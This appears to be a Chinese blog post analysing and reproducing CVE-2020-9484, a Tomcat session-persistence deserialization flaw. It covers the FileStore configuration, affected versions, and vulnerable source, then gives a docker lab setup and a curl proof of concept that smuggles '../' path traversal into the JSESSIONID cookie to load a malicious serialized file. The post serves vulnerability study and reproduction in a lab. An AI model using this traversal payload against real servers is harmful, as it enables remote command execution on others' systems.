CVE-2020-9484 tomcat session反序列化漏洞分析与复现

     CVE-2020-9484 tomcat session反序列化漏洞分析与复现

一、初识tomcat session持久化

    1.简介

       对于一个企业级应用而言,Session对象的管理十分重要。Sessio对象的信息一般情况下置于服务器的内存中,当服务器由于故障重启,或应用重新加载 时候,此时的Session信息将全部丢失。为了避免这样的情况,在某些场合可以将服务器的Session数据存放在文件系统或数据库中,这样的操作称为 Session对象的持久化。Session对象在持久化时,存放在其中的对象以序列化的形式存放,这就是为什么一般存放在Session中的数据需要实 现可序列化接口(java.io.Serializable)的原因了。当一个Session开始时,Servlet容器会为Session创建一个HttpSession对象。Servlet容器在某些情况下把这些 HttpSession对象从内存中转移到文件系统或数据库中,在需要访问 HttpSession信息时再把它们加载到内存中。

     2.实现TomcatSession持久化

       要实现session持久化,存放在session里的对象必须要实现<java.io.Serializable>接口。Session的持久化是由<session manager>来管理的。tomcat提供了两个实现类:

1.org.apache.catalina.session.StandardManager (默认)
2.org.apache.catalina.session.PersistentManager

     3.具体配置

     存储在本地文件中需要配置conf目录里的context.xml文件在<Context>节点下添加如下<Manager>节点:

<Manager className="org.apache.catalina.session.PersistentManager" 
    debug="0"
    saveOnRestart="false"
    maxActiveSession="-1"
    minIdleSwap="-1"
    maxIdleSwap="-1"
    maxIdleBackup="-1">
    <Store className="org.apache.catalina.session.FileStore" directory="../session" />
</Manager>

二、漏洞详情

1.漏洞详情

       当使用tomcat时,如果使用了tomcat提供的session持久化功能,如果存在文件上传功能,恶意请求者通过一个流程,将能发起一个恶意请求造成服务端远程命令执行。

2.影响版本

Apache Tomcat 10.x < 10.0.0-M5

Apache Tomcat 9.x < 9.0.35

Apache Tomcat 8.x < 8.5.55

Apache Tomcat 7.x < 7.0.104

3.不受影响版本

Apache Tomcat 10.x >= 10.0.0-M5

Apache Tomcat 9.x >= 9.0.35

Apache Tomcat 8.x >= 8.5.55

Apache Tomcat 7.x >= 7.0.104

4.漏洞分析

根据上面配置的<className="org.apache.catalina.session.FileStore">,去找tomcat源码。这里我使用tomcat7.0.100的代码。

查看FileStore的load方法,代码如下

   public Session load(String id) throws ClassNotFoundException, IOException {
        // Open an input stream to the specified pathname, if any
        File file = file(id);
        Context context = (Context) getManager().getContainer();
        FileInputStream fis = null;
        ObjectInputStream ois = null;
        Loader loader = null;
        ClassLoader classLoader = null;
        ClassLoader oldThreadContextCL = Thread.currentThread().getContextClassLoader();
        try {
            fis = new FileInputStream(file.getAbsolutePath());
            loader = context.getLoader();
            ois = getObjectInputStream(fis);

            StandardSession session = (StandardSession) manager.createEmptySession();
            session.readObjectData(ois);
            session.setManager(manager);
            return session;

这里我们可以很明显的看出,load方法中,根据打开名为id的文件,将文件中的内容作为反序列化的输入。并且tomcat未过滤诸如(../)等危险目录。如果配合任意文件上传,传入一个gadget,并调用JSESSION让tomcat加载该上传文件,即可完成反序列化攻击。当然,在新版tomcat中,通过验证JSESSION的路径,解决该反序列化漏洞

 

三、漏洞验证

使用docker容器拉取实验环境,

$ git clone https://github.com/masahiro331/CVE-2020-9484.git //下载环境
$ cd CVE-2020-9484
$ docker build -t tomcat:groovy .   //创建镜像
$ docker run -d -p 8080:8080 tomcat:groovy  //开启服务

使用BurpSuite抓包执行POC。

 或者直接在环境中执行POC通过JSESSION加载恶意的session持久化文件

curl 'http://192.168.0.102:8080/index.jsp' -H 'Cookie: JSESSIONID=../../../../../usr/local/tomcat/groovy'

检查验证

$ docker exec -it $CONTAINER /bin/sh
$ ls /tmp/rce

©️2020 CSDN 皮肤主题: 大白 设计师:CSDN官方博客 返回首页